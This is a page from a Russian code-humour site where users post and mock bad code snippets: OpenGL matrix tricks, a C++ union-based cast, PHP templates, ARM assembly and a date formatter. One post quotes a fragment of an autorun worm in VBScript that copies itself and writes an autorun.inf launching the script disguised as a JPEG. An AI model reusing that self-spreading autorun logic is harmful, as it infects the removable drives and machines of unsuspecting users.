- 1
- 2
- 3
- 4
- 5
- 6
void MultMatrix(const GLfloat m1[16], const GLfloat m2[16], GLfloat result[16])
{
glLoadMatrixf(m1);
glMultMatrixf(m2);
glGetFloatv(GL_MODELVIEW_MATRIX, result);
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+6
void MultMatrix(const GLfloat m1[16], const GLfloat m2[16], GLfloat result[16])
{
glLoadMatrixf(m1);
glMultMatrixf(m2);
glGetFloatv(GL_MODELVIEW_MATRIX, result);
}
+5
catch(...)
{
static int i = 0;
//if we enter this catch clause more than 1 time
//it is very likely that the RestartSystem() command
//did not succeed. If this is the case we just exit.
if(i>0)
exit(0);
else
MonitorT::GetInstance()->RestartSystem();
i++;
throw;
}
Навеяло...
+6
// implicit_cast< >
// I believe this was originally going to be in the C++ standard but
// was left out by accident. It's even milder than static_cast.
// I use it instead of static_cast<> to emphasize that I'm not doing
// anything nasty.
// Usage is identical to static_cast<>
template <class OutputClass, class InputClass>
inline OutputClass implicit_cast(InputClass input){
return input;
}
// horrible_cast< >
// This is truly evil. It completely subverts C++'s type system, allowing you
// to cast from any class to any other class. Technically, using a union
// to perform the cast is undefined behaviour (even in C). But we can see if
// it is OK by checking that the union is the same size as each of its members.
// horrible_cast<> should only be used for compiler-specific workarounds.
// Usage is identical to reinterpret_cast<>.
// This union is declared outside the horrible_cast because BCC 5.5.1
// can't inline a function with a nested class, and gives a warning.
template <class OutputClass, class InputClass>
union horrible_union{
OutputClass out;
InputClass in;
};
template <class OutputClass, class InputClass>
inline OutputClass horrible_cast(const InputClass input){
horrible_union<OutputClass, InputClass> u;
// Cause a compile-time error if in, out and u are not the same size.
// If the compile fails here, it means the compiler has peculiar
// unions which would prevent the cast from working.
typedef int ERROR_CantUseHorrible_cast[sizeof(InputClass)==sizeof(u)
&& sizeof(InputClass)==sizeof(OutputClass) ? 1 : -1];
u.in = input;
return u.out;
}
Боль и страдание шаблонного программирования на С++98. Комменты и названия доставляют.
−1
<?if (strlen($prod['img'])>0):?>
<img src="<?=URL::site()?>resize/resizer.php?type=photos&width=260&height=210&method=crop&image=<?=$prod['img']?>"/></a>
<?else:?>
<img src="<?=URL::site()?>resize/resizer.php?type=catalog&width=260&height=210&method=crop&image=nophoto.jpg"/></a>
<?endif?>
Вы ещё не знаете, как использовать ООП для генерации URL? Тогда мы идём к вам!
+74
foobar:
stmdb sp!, {r4-r11, lr}
...
ldmia sp!, {r4-r11, pc}
Ассемблер для ARM'а, оказывается, очень даже няшный.
−97
if (not fso.fileexists(fname)) or (not fso.fileexixts(aname)) then
if (fso.fileexists(fname)=false) then
fso.copyfile wscript.scriptname,fname
end if
if (fso.fileexists(aname)=false) then
set au=fso.createtextfile aname,2,true
au.writeline "[AutoRun]"
au.writeline "shellexecute=wscript /e:vbs pamela handerson.jpg -autostart"
au.close
fso.getfile(aname).attributes=32
set au=nothing
end if
end if
...
Взято из кода одного autorun-червя. Вопрос: нахуя?
+140
http://phpocean.com/tutorials/back-end/create-your-first-desktop-application-with-php-and-php-desktop/4
верстка самого сайта, phpdesktop, zooboole - у меня жестко бортануло
+156
<?php
function rus_date($time_stamp){
$date_time = date( "Y-m-d H:i:s",time() - 3600);
$time_s = strtotime($date_time);
$date_segodna = date( "Ymd",time() - 3600);
$date_kisa = date( "Ymd",time() - 86400);
$data_one_year = date( "Ymd",time() - 31536000);
$date = date("Y-n-d H:i:s", $time_stamp);
$date_segodna_items = date("Ymd", $time_stamp);
$raznost = strtotime($date_time) - strtotime($date);
$explode_two = explode(' ',$date);
$explode = explode('-',$explode_two[0]);
$explode_good = explode(':',$explode_two[1]);
$month = array('янв','фев','март','апр','май','июнь','июль','авг','сен','окт','нояб','дек');
$num = (int)$explode[1];
$num = $num - 1;
$mes = $month[$num];
if($date_segodna == $date_segodna_items){
if($date_segodna == date( "Ymd",$time_stamp)){
return 'Сегодня в '.$explode_good[0].':'.$explode_good[1];
}
else{
return 'Вчера в '.$explode_good[0].':'.$explode_good[1];
}
}
elseif($date_kisa == $date_segodna_items){
return 'Вчера в '.$explode_good[0].':'.$explode_good[1];
}
elseif($raznost >= 31536000){
return $explode[2].' '.$mes.' '.$explode[0].' в '.$explode_good[0].':'.$explode_good[1];
}
elseif($raznost <= 31536000){
return $explode[2].' '.$mes.' в '.$explode_good[0].':'.$explode_good[1];
}
else{
return $explode[2].' '.$mes.' '.$explode[0].' в '.$explode_good[0].':'.$explode_good[1];
}
}
rus_date(Если временая метка ровна 0) // вернет ( 01 янв 1970 в 04:00 )
rus_date(Сегодняшняя метка) // вернет ( Сегодня в 04:00 )
rus_date(Если временая метка из прошлого и прошлому больше 24 часов но меньше 48ч) // вернет ( Вчера в 04:00 )
rus_date(Если больше 2 дней ) // вернет такую дату ( 04 дек в 04:00 )
Форматирование времени просто подставить временную метку в функцию
Го посмеемся вместе?
+59
LPVOID lpInfo = NULL;;
UINT unInfoLen = 0;
DWORD dwLangCode = 0;
if (!GetTranslationId(lpInfo, unInfoLen, GetUserDefaultLangID(), dwLangCode, FALSE))
{
if (!GetTranslationId(lpInfo, unInfoLen, GetUserDefaultLangID(), dwLangCode, TRUE))
{
if (!GetTranslationId(lpInfo, unInfoLen, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), dwLangCode, TRUE))
{
if (!GetTranslationId(lpInfo, unInfoLen, MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL), dwLangCode, TRUE))
// use the first one we can get
dwLangCode = *((DWORD*)lpInfo);
}
}
}
докомментировались, ебанатики...
+129
import std.uuid;
import std.file;
import std.path;
import std.string;
ubyte[] sdlBytes = cast(ubyte[]) import("SDL2.dll"); // SDL2.dll contents
void main(string[] args)
{
auto uuid = randomUUID();
string uuid = randomUUID().toString();
string filename = format("SDL2-%s.dll", uuid); // Making an unique file name.
string depacked = buildPath(tempDir(), filename);
std.file.write(depacked, sdlBytes); // Writing the dynlib to a temporary file.
DerelictSDL2.load(depacked); // Use the depacked dynlib and load its symbols.
}
лол, надо поюзать.